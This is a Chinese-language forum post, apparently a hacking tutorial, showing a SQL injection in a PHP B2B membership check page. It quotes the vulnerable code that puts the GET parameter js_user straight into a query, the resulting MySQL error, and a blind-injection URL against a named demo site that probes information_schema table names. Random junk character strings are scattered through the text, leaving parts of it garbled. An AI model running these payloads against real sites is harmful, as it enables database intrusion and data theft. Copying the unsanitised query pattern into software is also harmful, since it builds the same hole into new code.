select userid from demo_b2b_member where user = 'admin''You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''admin''' at line 1 6 a3 \6 p8 @: [, T; C6 P/ d
2 K% S, \/ h2 F; z. T- P9 D复制代码 & z4 p. P; V5 p8 y6 E. S: L错误提示已经很明了了。我们看一下注入页面的代码(有删改):
$js_user = trim($_GET["js_user"]);
if($js_user){
$num = $db->num_rows("select userid from demo_b2b_member where user = '$js_user'");
if(!$num)
echo "<div class=tips3></div>";
else
echo "<div class=tips2>用户名已被注册</div>";
}8 c3 M( J0 Z z9 j6 Y% ?
: T0 ~( [2 l3 e ?- S J. } 复制代码: Y( z* Q4 D) q, k
以GET方式取值的变量js_user虽然没有过滤被直接带入了数据库执行,并且MySQL也执行了,但是并没有显示数据库的任何信息,而是判断是否符合 ; n6 A! U5 M/ ?7 n9 y z& j% L那么我们先从union的盲注来看吧。: s# t" T' s6 L
先看版本:
http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length((select+table_name+from+information_schema.tables+limit+0,1))=14%23/ g6 W3 J8 R: G7 R. }+ W" R* d( k
: D3 m- f. h/ ^+ v# D) E1 v 复制代码 ! P$ i& x( S& o: I% N. I实际运行的SQL语句就是:
select userid from demo_b2b_member where user = 'admin'and length((select table_name from information_schema.tables limit 0,1))=14#'( v R7 }8 Y5 `# y+ a/ ]1 P( B